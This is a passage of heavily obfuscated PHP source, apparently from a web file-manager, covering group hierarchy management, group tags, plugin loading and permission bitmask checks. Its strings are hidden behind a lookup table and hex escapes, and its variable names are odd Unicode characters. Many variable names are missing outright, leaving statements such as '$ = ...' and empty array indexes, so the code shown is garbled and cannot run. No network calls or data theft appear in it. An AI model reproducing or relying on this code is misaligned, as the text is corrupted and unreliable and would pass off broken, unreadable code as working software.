$this->getInfoSimple($[$[1861]], !0)) { return $[$[1861]]; } } else { $兵 = $this->getInfoSimple($[$[432]]); if (!$兵) { return !1; } } $Ƙ = $[521]; if ($兵[$[511]]) { $Ƙ = $兵[$[511]] . $兵[$[1861]] . $[50]; } $ = array($[420] => $this->groupNameAuto($[$[432]], $[$[32]]), $[401] => $[$[432]], $[580] => $Ƙ, $[1945] => $[$[1848]], $[1946] => 0, $[1865] => 0); if (isset($[$[1885]])) { $[$[1885]] = $[$[1885]]; } else { $ = $this->max($[1885]); if (!$) { $ = 0; } $[$[1885]] = $ + 1; } if (!empty($[$[1861]])) { $[$[1861]] = $[$[1861]]; } $안͔ = $this->add($); $this->setNamePinyin($안͔, $[$[32]]); if (isset($[$[1947]])) { $this->metaSet($안͔, array($[1947] => $[$[1947]], $[1948] => $[$[1948]])); unset($[$[1947]]); unset($[$[1948]]); } Model($[1341])->groupRootAdd($안͔); $this->_clearCache($[$[432]]); return $안͔; } protected function groupEdit($¿, $) { $ݵ =& $_SERVER[]; $ = $this->getInfoSimple($¿); if (!$) { return !1; } if (!empty($[$ݵ[432]])) { $ڔ = $this->getInfoSimple($[$ݵ[432]]); if (!$ڔ) { return !1; } if ($[$ݵ[1861]] == $ڔ[$ݵ[1861]]) { return !1; } if ($[$ݵ[432]] != $[$ݵ[432]]) { if ($ڔ[$ݵ[511]] !== $[$ݵ[511]] && strpos($ڔ[$ݵ[511]], $[$ݵ[511]] . $[$ݵ[1861]] . $ݵ[50]) === 0) { return !1; } $[$ݵ[580]] = $ڔ[$ݵ[511]] . $[$ݵ[432]] . $ݵ[50]; $this->_changeChildLevel($, $ڔ); $this->_clearCache($ڔ[$ݵ[1861]]); $this->_clearCache($[$ݵ[432]]); } } if (isset($[$ݵ[32]])) { $this->setNamePinyin($¿, $[$ݵ[32]]); } if (isset($[$ݵ[1947]])) { $this->metaSet($¿, array($ݵ[1947] => $[$ݵ[1947]], $ݵ[1948] => $[$ݵ[1948]])); unset($[$ݵ[1947]]); unset($[$ݵ[1948]]); } $this->_clearChildrenCache($); return $this->where(array($ݵ[1949] => $¿))->save($); } private function _clearChildrenCache($߶) { $迢 =& $_SERVER[]; $ = array($迢[580] => array($迢[540], $߶[$迢[511]] . $߶[$迢[1861]] . $迢[541])); $ = $this->field($迢[1861])->where($)->select(); foreach ($ as $á) { $this->_clearCache($á[$迢[1861]]); } } private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[1943], $); $this->cacheFunctionClear($[1944], $); } private function _changeChildLevel($߶ո, $Иʡ, $ȥ = false) { $ߵ =& $_SERVER[]; $ = $߶ո[$ߵ[511]] . $߶ո[$ߵ[1861]] . $ߵ[50]; $ȭ = $Иʡ[$ߵ[511]] . $Иʡ[$ߵ[1861]] . $ߵ[50] . $߶ո[$ߵ[1861]] . $ߵ[50]; if ($ȥ) { $ȭ = $Иʡ[$ߵ[511]] . $Иʡ[$ߵ[1861]] . $ߵ[50]; } $۩ = array($ߵ[580] => array($ߵ[540], $߶ո[$ߵ[511]] . $߶ո[$ߵ[1861]] . $ߵ[541])); $ӑ = array($ߵ[580] => array($ߵ[589], "\x72\x65\x70\x6c\x61\143\145\x28\x70\141\162\145\x6e\164\x4c\145\x76\145\x6c\x2c\x27{$}\47\54\x27{$ȭ}\47\51")); $this->_clearChildrenCache($߶ո); $this->where($۩)->data($ӑ)->save(); } public function setNamePinyin($Ы, $凩 = false) { $䬞 =& $_SERVER[]; if (!$凩) { $ = $this->getInfoSimple($Ы); $凩 = $[$䬞[32]]; } if (!Input::check($凩, $䬞[583])) { $this->metaSet($Ы, $䬞[465], null); $this->metaSet($Ы, $䬞[464], null); return; } $ = array($䬞[465] => str_replace($䬞[53], $䬞[12], Pinyin::get($凩)), $䬞[464] => Pinyin::get($凩, $䬞[584])); $this->metaSet($Ы, $); } protected function groupStatus($ؚ, $) { $ћ =& $_SERVER[]; $ = $this->getInfoSimple($ؚ); if (!$) { return !1; } if ($ == $ћ[88]) { $ = $this->parentLevelArray($[$ћ[511]]); } else { $Ț = array($ћ[580] => array($ћ[540], $[$ћ[511]] . $[$ћ[1861]] . $ћ[541])); $ = $this->where($Ț)->field($ћ[1861])->select(); $ = array_to_keyvalue($, $ћ[12], $ћ[1861]); } $[] = $[$ћ[1861]]; $ﵺ = array(); foreach ($ as $ؚ) { $ﵺ[] = array($ћ[1861] => $ؚ, $ћ[94] => $ћ[748], $ћ[374] => $); $this->_clearCache($ؚ); } return Model($ћ[1950])->addAll($ﵺ, array(), !0); } protected function groupRemove($, $ = false) { $՞ =& $_SERVER[]; $ɏ = array($՞[1861] => $); $ = $this->where($ɏ)->find(); if (!$ || $[$՞[432]] == 0) { return !1; } if (!$) { $ = $this->getInfoSimple($[$՞[432]]); $this->_changeChildLevel($, $, !0); $this->where(array($՞[432] => $))->save(array($՞[432] => $[$՞[432]])); $this->_clearCache($[$՞[1861]]); } Model($՞[1950])->where($ɏ)->delete(); Model($՞[1951])->where($ɏ)->delete(); Model($՞[824])->groupRootRemove($); $this->_clearCache($[$՞[432]]); return $this->where($ɏ)->delete(); } protected function groupSort($ڛ) { $ =& $_SERVER[]; $ڰ = array(); foreach ($ڛ as $ => $) { $ڰ[] = array($[1861], $, $[1885], $ + 1); } $this->saveAll($ڰ); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][369]]); return $; } private function _makeOrder($Ϊ = '') { $Ϟֿ =& $_SERVER[]; $Nj = array($Ϟֿ[1861], $Ϟֿ[32], $Ϟֿ[1850], $Ϟֿ[201]); $ = array($Ϟֿ[450] => $Ϟֿ[451], $Ϟֿ[452] => $Ϟֿ[453]); $ۖ = Input::get($Ϟֿ[457], $Ϟֿ[7], $Ϟֿ[1865], $Nj); $ = Input::get($Ϟֿ[458], $Ϟֿ[7], $Ϟֿ[1952], array($Ϟֿ[1952], $Ϟֿ[452])); $ = $[$]; $Ϊ = $Ϊ . "{$ۖ}\40{$}\54\x20\x67\x72\x6f\x75\x70\x49\104\x20\x61\163\x63"; return $this->order($Ϊ); } public function listChild($ջ) { $ =& $_SERVER[]; $Ƹ = $this->where(array($[432] => $ջ))->_makeOrder()->selectPage(200); $this->_listDataApply($Ƹ[$[369]]); return $Ƹ; } public function listChildIds($) { $Գ =& $_SERVER[]; if (is_string($ի)) { $ = explode($Գ[50], $); } $کŌ = $this->where(array($Գ[1861] => array($Գ[7], $)))->field($Գ[1953])->select(); if (!$کŌ) { return !1; } $ = array(); foreach ($کŌ as $Ƽ) { $[] = "\x73\145\154\x65\143\164\x20\x67\162\x6f\x75\160\111\104\x20\x66\x72\x6f\x6d\40\140\147\162\157\x75\x70\x60\40\167\150\x65\162\x65\x20\160\x61\x72\145\156\x74\114\145\x76\145\154\40\x6c\x69\153\x65\40\x27{$Ƽ[$Գ[511]]}{$Ƽ[$Գ[1861]]}\x2c\x25\47"; } $ = implode($Գ[1954], $); $کŌ = $this->query($); if (!$کŌ) { return array(); } $ = array_to_keyvalue($کŌ, $Գ[12], $Գ[1861]); return array_unique($); } public function listByID($ݕ) { $é =& $_SERVER[]; if (!$ݕ) { return array(); } $ = array($é[1861] => array($é[7], $ݕ)); $찚 = $this->where($)->select(); $찚 = array_sort_keep($찚, $é[1861], $ݕ); $this->_listDataApply($찚); return $찚; } public function listSearch($߷տ) { $ݖ =& $_SERVER[]; $س = $߷տ[$ݖ[1955]]; $ = isset($߷տ[$ݖ[1956]]) ? $߷տ[$ݖ[1956]] : !1; if (!trim($س)) { return !1; } $س = str_replace($ݖ[1957], $ݖ[1958], $س); $ش = array($ݖ[1861] => array($ݖ[383], "{$س}\45"), $ݖ[32] => array($ݖ[383], "\x25{$س}\45"), $ݖ[1002] => $ݖ[1959]); if ($) { $ = $this->getInfoSimple($); $֙ = $[$ݖ[511]] . $ . $ݖ[541]; $ش = array($ش, array($ݖ[511] => array($ݖ[383], $֙))); } $ش = $this->parseWhereLike($ش); $ = $this->_makeOrder()->where($ش)->selectPage(20); $ = $ ? $ : array($ݖ[369] => array(), $ݖ[366] => array()); if (!$ || count($[$ݖ[369]]) < 5 && Input::check($س, $ݖ[318])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($ݖ[464], $س, 10, $); $ = $this->_searchFromMeta($ݖ[465], $س, 10, $); $Ѹ = array_merge($, $, $[$ݖ[369]]); $[$ݖ[369]] = array_unique_by_key($Ѹ, $ݖ[1861]); $[$ݖ[366]][$ݖ[367]] = count($[$ݖ[369]]); $[$ݖ[366]][$ݖ[368]] = ceil($[$ݖ[366]][$ݖ[367]] / $[$ݖ[366]][$ݖ[363]]); } $this->_listDataApply($[$ݖ[369]]); return $; } protected function groupChildrenAll($ڿԀ) { $ɛ¼ =& $_SERVER[]; if (!$ڿԀ) { return !1; } if (is_string($ڿԀ)) { $ڿԀ = array($ڿԀ); } $ = $ڿԀ; foreach ($ڿԀ as $) { $Ĭ = $this->getInfoSimple($); $ = array($ɛ¼[511] => array($ɛ¼[383], $Ĭ[$ɛ¼[511]] . $ . $ɛ¼[541])); $Ԛ = $this->field($ɛ¼[1861])->where($)->select(); $ = array_merge($, array_to_keyvalue($Ԛ, $ɛ¼[12], $ɛ¼[1861])); } return array_unique($); } private function _searchFromMeta($ɍ, $ǧ, $, $) { $ɇ =& $_SERVER[]; $ǧ = strtolower($ǧ); $϶̫ = array($ɇ[94] => $ɍ, $ɇ[374] => array($ɇ[383], "\45{$ǧ}\x25")); $϶̫ = $this->parseWhereLike($϶̫); if ($) { $϶̫[$ɇ[1861]] = array($ɇ[7], $); } $Û = Model($ɇ[1960])->where($϶̫)->limit($)->select(); if (!$Û) { return array(); } $Û = array_to_keyvalue($Û, $ɇ[12], $ɇ[1861]); $ = $this->where(array($ɇ[1949] => array($ɇ[7], $Û)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($솸) { $쳟 = array($솸); $this->_listDataApply($쳟); return $쳟[0]; } protected function _listDataApply(&$) { $ܼ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($, $ܼ[12], $ܼ[1861]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1861]); $ˍ = array($[432] => array($[7], $)); $ = array($[432], $[1961] => $[491]); $ = $this->field($)->where($ˍ)->group($[432])->select(); $ݡ = array_to_keyvalue($, $[432], $[491]); foreach ($ as &$) { $ = $[$[1861]]; $[$[1962]] = isset($ݡ[$]) ? intval($ݡ[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1861]); $Ҙ = array($[1861] => array($[7], $)); $蒽 = array($[1861], $[1961] => $[491]); $ޮ = Model($[1951])->field($蒽)->where($Ҙ)->group($[1861])->select(); $ĝ = array_to_keyvalue($ޮ, $[1861], $[491]); foreach ($ as &$Ћ) { $ = $Ћ[$[1861]]; $Ћ[$[1963]] = isset($ĝ[$]) ? intval($ĝ[$]) : !1; } unset($Ћ); } private function _listAppendMeta(&$, $ę) { $؇Ѥ =& $_SERVER[]; $ = array($؇Ѥ[1861] => array($؇Ѥ[7], $ę)); $ǝ = Model($؇Ѥ[1950])->where($)->select(); $ǝ = array_to_keyvalue_group($ǝ, $؇Ѥ[1861]); foreach ($ǝ as &$ϯ) { $ϯ = array_to_keyvalue($ϯ, $؇Ѥ[94], $؇Ѥ[374]); } unset($ϯ); foreach ($ as &$) { $[$؇Ѥ[466]] = array(); if (isset($ǝ[$[$؇Ѥ[1861]]])) { $[$؇Ѥ[466]] = $ǝ[$[$؇Ѥ[1861]]]; } } unset($); } protected function parentLevelArray($) { $ӗ =& $_SERVER[]; $ = explode($ӗ[50], trim($, $ӗ[50])); $ = array_remove_value($, $ӗ[198]); return $; } protected function parentInGroup($Ϧ, $ó) { $ႚЍ =& $_SERVER[]; $ = $this->getInfoSimple($Ϧ); if (!$) { return !0; } $ = $this->parentLevelArray($[$ႚЍ[511]]); $[] = $Ϧ; foreach ($ as $Ϧ) { if (in_array($Ϧ . $ႚЍ[12], $ó)) { return !0; } } return !1; } private function _listAppendParent(&$) { $蛙 =& $_SERVER[]; $ӯ = array(); foreach ($ as &$ʨ) { $ӯ[$ʨ[$蛙[1861]]] = $ʨ[$蛙[32]]; $ = $this->parentLevelArray($ʨ[$蛙[511]]); foreach ($ as $߹Ʀ) { if (!isset($ӯ[$߹Ʀ])) { $ӯ[$߹Ʀ] = 0; } } } unset($ʨ); foreach ($ӯ as $檠 => $ɸ) { if ($ɸ) { continue; } $ؒ = $this->getInfoSimple($檠); $ӯ[$檠] = $ؒ[$蛙[32]]; } $у = $GLOBALS[$蛙[6]][$蛙[89]][$蛙[1964]]; if ($GLOBALS[$蛙[494]] == $蛙[88]) { $у = !1; } foreach ($ as &$ʨ) { $ = $this->parentLevelArray($ʨ[$蛙[511]]); $Ă = $蛙[12]; foreach ($ as $檠 => $߹Ʀ) { if ($у && $檠 == 0) { continue; } $Ă .= $ӯ[$߹Ʀ] . $蛙[8]; } if ($) { $Ă .= $ʨ[$蛙[32]]; } $ʨ[$蛙[516]] = str_replace($蛙[519], $蛙[8], $Ă); } unset($ʨ); } private function _listAppendSourceRoot(&$, $Ʊ) { $֚ =& $_SERVER[]; $ג = Model($֚[824])->listSourceRoot(SourceModel::TYPE_GROUP, $Ʊ); $ג = array_to_keyvalue($ג, $֚[496]); $ג = array_remove_key($ג, $֚[496]); foreach ($ as &$帬) { $帬[$֚[87]] = $ג[$帬[$֚[1861]]] ? $ג[$帬[$֚[1861]]] : array(); } unset($帬); } protected function groupMerge($Ү) { $Ү = array_values(array_unique($Ү)); $Ȃ = array(); for ($ڭ = 0; $ڭ < count($Ү); $ڭ++) { $ = !1; for ($ = 0; $ < count($Ү); $++) { if ($ڭ == $) { continue; } if ($this->isParentOf($Ү[$], $Ү[$ڭ])) { $ = !0; break; } } if (!$) { $Ȃ[] = $Ү[$ڭ]; } } return $Ȃ; } protected function isParentOf($Ϛ, $) { $ =& $_SERVER[]; if (!$Ϛ || !$ || $Ϛ == $) { return !1; } $Ԃ = $this->getInfoSimple($Ϛ); $ = $this->getInfoSimple($); $϶ȹ = $Ԃ[$[511]] . $Ϛ . $[50]; if (substr($[$[511]], 0, strlen($϶ȹ)) == $϶ȹ) { return !0; } return !1; } public function groupShowRoot($, $ݠ = false) { $ԕ =& $_SERVER[]; $Ʒ = $this->getInfo($); if (!$Ʒ) { return array(); } $ = $this->parentLevelArray($Ʒ[$ԕ[511]]); $ = array($); if (count($) == 0) { return $; } if ($ݠ && count($) == 1) { return $; } if (!$Ʒ[$ԕ[466]] || !isset($Ʒ[$ԕ[466]][$ԕ[1947]]) || $Ʒ[$ԕ[466]][$ԕ[1947]] == $ԕ[1916]) { return $this->groupShowRoot($[count($) - 1], $ݠ); } if ($Ʒ[$ԕ[466]][$ԕ[1947]] == $ԕ[357]) { $曗 = explode($ԕ[50], $Ʒ[$ԕ[466]][$ԕ[1948]]); if ($曗) { $ = array_merge($, $曗); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ = $[1861]; $ʹ = $this->select(); $ʹ = array_to_keyvalue($ʹ, $); foreach ($ʹ as $Թ) { $렂΅ = $Թ; $̊ = array(); while ($렂΅[$[432]] != 0) { $̊[] = $렂΅[$[432]]; $렂΅ = $ʹ[$렂΅[$[432]]]; } $̊[] = 0; $̊ = $[50] . implode($[50], array_reverse($̊)) . $[50]; $this->setNamePinyin($Թ[$], $Թ[$[32]]); $this->where(array($ => $Թ[$]))->save(array($[580] => $̊)); } return $ʹ; } public function groupNameAuto($놲, $) { $Ȏ =& $_SERVER[]; $ = $this->where(array($Ȏ[401] => $놲))->getField($Ȏ[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\x28{$}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($Ӧ, $) { $ =& $_SERVER[]; $Ռ = array($[1861] => array($[7], array($Ӧ, $))); $ = $this->where($Ռ)->select(); $ = array_to_keyvalue($, $[1861]); if (!isset($[$Ӧ]) || !isset($[$]) || $[$Ӧ][$[432]] == 0) { return !1; } $Ռ = array($[1861] => $Ӧ); $ = Model($[1951])->where($Ռ)->select(); if (!$) { $ = array(); } foreach ($ as $) { $Ϣ = $[$[1670]]; $Ռ = array($[1670] => $Ϣ, $[1861] => $); $ = Model($[1951])->where($Ռ)->find(); if (!$) { $ = array($ => $[$[1965]]); Model($[525])->userGroupAdd($Ϣ, $); } Model($[525])->userGroupRemove($Ϣ, $Ӧ); } $Ռ = array($[411] => 2, $[432] => 0, $[410] => 1, $[496] => array($[7], array($Ӧ, $))); $㬖 = Model($[824])->where($Ռ)->field($[1966])->select(); $㬖 = array_to_keyvalue($㬖, $[496], $[402]); $ϒ = !empty($㬖[$Ӧ]) ? $㬖[$Ӧ] : !1; if ($ϒ) { if (!$㬖[$]) { $㬖[$] = Model($[824])->groupRootAdd($); } $Dž = $㬖[$]; $Ռ = array($[432] => $ϒ); $㬖 = Model($[824])->where($Ռ)->field($[1967])->select(); if (!$㬖) { $㬖 = array(); } Model($[824])->moveClearAuth = !1; foreach ($㬖 as $) { $ = $[$[410]] == $[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[824])->move($[$[402]], $Dž, $); } Model($[824])->moveClearAuth = !0; $Ռ = array($[411] => 2, $[496] => $Ӧ); $ϟޢ = array($[496] => $); Model($[1968])->where($Ռ)->save($ϟޢ); Model($[1969])->where($Ռ)->save($ϟޢ); } $this->_changeChildLevel($[$Ӧ], $[$], !0); $this->where(array($[432] => $Ӧ))->save(array($[432] => $)); $this->_clearChildrenCache($[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\145\162\137\146\x61\x76"; protected function cacheFunctionAlias($) { $ѷ =& $_SERVER[]; return array($ѷ[1970] => array($[0], $ѷ[1971]), $ѷ[1972] => array($[0], $ѷ[1973])); } protected function get($) { $ =& $_SERVER[]; $ް = Model($[512])->metaGet($, $[1974]); $ǧ = json_decode($ް, !0); return $ǧ ? $ǧ : array($[1975] => $[88], $[369] => array()); } protected function set($踚, $) { $萜 =& $_SERVER[]; $ = $ ? $ : array($萜[1975] => $萜[88], $萜[369] => array()); return Model($萜[512])->metaSet($踚, $萜[1974], json_encode($)); } protected function getByTagID($䋈, $˜) { $ε =& $_SERVER[]; if (!$䋈 || !$˜) { return !1; } if (!Model($ε[512])->getInfoSimple($䋈)) { return !1; } $ = $this->get($䋈); if (!$ || !isset($[$ε[369]])) { return !1; } $ = array_find_by_field($[$ε[369]], $ε[399], $˜); return is_array($) ? $ : !1; } public function listSource($, $ś) { $˭ǭ =& $_SERVER[]; if ($ś && !is_array($ś)) { $ś = array($ś); } $֝ϭ = $this->listData($); $Ǯ = array(); foreach ($֝ϭ as $) { $ = $[$˭ǭ[84]]; if (!$) { continue; } if (!isset($Ǯ[$])) { $Ǯ[$] = array(); } $Ǯ[$][] = $[$˭ǭ[426]]; } $븂 = array(); foreach ($Ǯ as $٥ => $) { $ = !0; if (!$ś) { $븂[] = $٥; continue; } foreach ($ś as $̎) { if (!in_array($̎, $)) { $ = !1; break; } } if ($) { $븂[] = $٥; } } if (!$븂) { return array(); } $ = array($˭ǭ[417] => array($˭ǭ[418], $븂), $˭ǭ[496] => $, $˭ǭ[411] => SourceModel::TYPE_GROUP); $ݥ = Model($˭ǭ[1341])->listSource($); if (!$ݥ || count($븂) == $ݥ[$˭ǭ[366]][$˭ǭ[367]]) { return $ݥ; } $ = array(); $ = array_to_keyvalue($ݥ[$˭ǭ[82]], $˭ǭ[12], $˭ǭ[402]); $ = array_to_keyvalue($ݥ[$˭ǭ[83]], $˭ǭ[12], $˭ǭ[402]); $ = array_merge($, $); foreach ($븂 as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $); } return $ݥ; } protected function listData($ō) { $ᤕƂ =& $_SERVER[]; $ = array($ᤕƂ[1661] => 0, $ᤕƂ[483] => array($ᤕƂ[1976], 0), $ᤕƂ[422] => $ᤕƂ[1977] . $ō); $ = $ᤕƂ[1978]; $ = $this->field($)->where($)->order($ᤕƂ[1979])->select(); return $ ? $ : array(); } protected function addToTag($ɲ, $, $ԗ) { $̩ =& $_SERVER[]; if (!$this->getByTagID($ɲ, $ԗ) || !$) { return !1; } if (!Model($̩[824])->pathInfo($)) { return !1; } $卅 = array($̩[1661] => 0, $̩[483] => $ԗ, $̩[421] => $, $̩[422] => $̩[1980] . $ɲ, $̩[420] => $̩[12], $̩[1865] => 0); if ($this->where($卅)->find()) { return !1; } return $this->add($卅); } protected function removeFromTag($ǟ, $Đ⢔, $Ǥ) { $ƺ =& $_SERVER[]; if (!$this->getByTagID($ǟ, $Ǥ) || !$Đ⢔) { return !1; } if (is_array($Đ⢔)) { $Đ⢔ = array($ƺ[7], $Đ⢔); } $ž = array($ƺ[1661] => 0, $ƺ[483] => $Ǥ, $ƺ[422] => $ƺ[1980] . $ǟ, $ƺ[421] => $Đ⢔); return $this->where($ž)->delete(); } protected function removeByTag($՛Ɓ, $) { $櫁 =& $_SERVER[]; if (!$this->getByTagID($՛Ɓ, $)) { return !1; } $ = array($櫁[1661] => 0, $櫁[483] => $, $櫁[422] => $櫁[1980] . $՛Ɓ); return $this->where($)->delete(); } protected function removeBySource($, $ڻ) { $բѥ =& $_SERVER[]; if (!$ || !$ڻ) { return !1; } if (is_array($ڻ)) { $ڻ = array($բѥ[7], $ڻ); } $֬浫 = array($բѥ[1661] => 0, $բѥ[421] => $ڻ, $բѥ[483] => array($բѥ[1016], 0), $բѥ[422] => $բѥ[1980] . $); return $this->where($֬浫)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\155\x2e\160\154\x75\147\151\156\114\x69\163\164"; public $field = array("\x6e\x61\x6d\x65", "\x73\x74\141\164\165\163", "\x72\x65\x67\x69\x65\163\x74", "\x63\x6f\x6e\x66\x69\x67"); public function loadList($Ճ = false) { $ąт = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($Ճ) { return $ąт[$Ճ]; } return $ąт; } public function init() { $آ =& $_SERVER[]; Hook::trigger($آ[1981]); $ = $this->loadPluginList(); foreach ($ as $ => $Ŷؿ) { $ì = $this->appAllow($, $Ŷؿ); if (!$ì) { continue; } foreach ($Ŷؿ[$آ[1982]] as $ => $ߐ) { Hook::bind($, $ߐ); } } Hook::trigger($آ[1983]); Hook::trigger(ACTION); } public function appAllow($, $, $˗ť = true) { $ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $[1984]; if (!is_array($) || !is_array($[$[1982]]) || $[$[748]] != 1 || !is_file($)) { return !1; } if ($GLOBALS[$[494]] == 1) { if ($GLOBALS[$[6]][$[1985]] || !$GLOBALS[$[6]][$[1986]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[1986]])); return in_array(strtolower($), $) ? !1 : !0; } if ($˗ť && !Action($[1987])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ї =& $_SERVER[]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $ї[1988]); } $this->remove($[$ї[399]]); } public function changeStatus($֕, $) { $锒 =& $_SERVER[]; $ő = $this->loadList($֕); if ($) { Hook::apply($֕ . $锒[1989]); } $this->update($ő[$锒[399]], array($锒[1990] => $)); } public function appRegist($, $̓) { $ǔ =& $_SERVER[]; $ڇ = $this->loadList($); if ($ڇ) { $this->update($ڇ[$ǔ[399]], array($ǔ[1982] => $̓)); } else { $̋ = array($ǔ[32] => $, $ǔ[1982] => $̓, $ǔ[748] => 0, $ǔ[6] => $this->getConfigDefault($)); $this->insert($̋); } } public function getConfigDefault($) { $͠ =& $_SERVER[]; $ = array(); $ӗ = $this->getPackageJson($); if (!$ӗ && is_array($ӗ[$͠[1991]])) { return $; } foreach ($ӗ[$͠[1991]] as $䏑 => $м) { if (!isset($м[$͠[374]]) || isset($[$䏑])) { continue; } $[$䏑] = $м[$͠[374]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][1992]); } public function getConfig($גݫ, $ٽ = false) { $Γ =& $_SERVER[]; $ = array(); $ = $this->loadList($גݫ); if ($ && is_array($[$Γ[6]])) { $ = $[$Γ[6]]; } if (!$ || $ٽ) { $ = $this->getConfigDefault($גݫ); } return $; } public function setConfig($阻, $ӝ = false) { $쌚 =& $_SERVER[]; $ = $this->loadList($阻); if (!$) { return !1; } $ = $[$쌚[6]]; if ($ӝ == !1) { $ = array(); $ӝ = $this->getConfigDefault($阻); } foreach ($ӝ as $П => $) { $[$П] = is_string($) ? trim($) : $; } $this->update($[$쌚[399]], array($쌚[6] => $)); } public function viewList() { $ =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $̱ = array(); foreach ($ as $ => $͔Ƹ) { unset($͔Ƹ[$[1982]], $͔Ƹ[$[6]]); $ﲬ٣ = PLUGIN_DIR . $͔Ƹ[$[32]] . $[1984]; if (!is_file($ﲬ٣)) { continue; } $ڡ̧ = Hook::apply($͔Ƹ[$[32]] . $[1992]); if (is_array($ڡ̧)) { $̱[$] = array_merge($͔Ƹ, $ڡ̧); } } return $̱; } private function loadPluginList() { $ =& $_SERVER[]; $Ьϭ = $this->loadList(); if (strtolower(MOD) == $[1993]) { return $Ьϭ; } $ݎ = Hook::trigger($[1994], $Ьϭ); if ($Ьϭ && !$ݎ) { die; } return $ݎ ? $ݎ : $Ьϭ; } private function pluginScan($) { $ӽ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $Ͷ, $Ō, 0); foreach ($Ͷ as $ϵ) { $٘Ҩ = get_path_this($ϵ); if (isset($[$٘Ҩ]) || !file_exists($ϵ . $ӽ[1995]) || !file_exists($ϵ . $ӽ[1984])) { continue; } Hook::apply($٘Ҩ . $ӽ[1989]); } } } goto Fݛ; AԳ: class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ֻז =& $_SERVER[]; $ = array(array($ֻז[420] => LNG($ֻז[1862]), $ֻז[1863] => $ֻז[1864], $ֻז[1865] => 1, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($ֻז[420] => LNG($ֻז[1868]), $ֻז[1863] => $ֻז[1869], $ֻז[1865] => 2, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($ֻז[420] => LNG($ֻז[1870]), $ֻז[1863] => $ֻז[1871], $ֻז[1865] => 3, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($ֻז[420] => LNG($ֻז[1872]), $ֻז[1863] => $ֻז[1873], $ֻז[1865] => 4, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW), array($ֻז[420] => LNG($ֻז[1874]), $ֻז[1863] => $ֻז[1875], $ֻז[1865] => 5, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($ֻז[420] => LNG($ֻז[1876]), $ֻז[1863] => $ֻז[1877], $ֻז[1865] => 6, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($ֻז[420] => LNG($ֻז[1878]), $ֻז[1863] => $ֻז[1879], $ֻז[1865] => 7, $ֻז[1866] => 1, $ֻז[1867] => 0)); return $; } public static function authCheck($, $ݣ) { $䢼 =& $_SERVER[]; $ = intval($); if ($GLOBALS[$䢼[494]] && $GLOBALS[$䢼[6]][$䢼[1880]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $ݣ); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($짦) { return self::authCheck($짦, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($搴Ӟ) { return self::authCheck($搴Ӟ, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($ˬ) { return self::authCheck($ˬ, self::AUTH_COMMENT); } public static function authCheckEvent($Ū) { return self::authCheck($Ū, self::AUTH_EVENT); 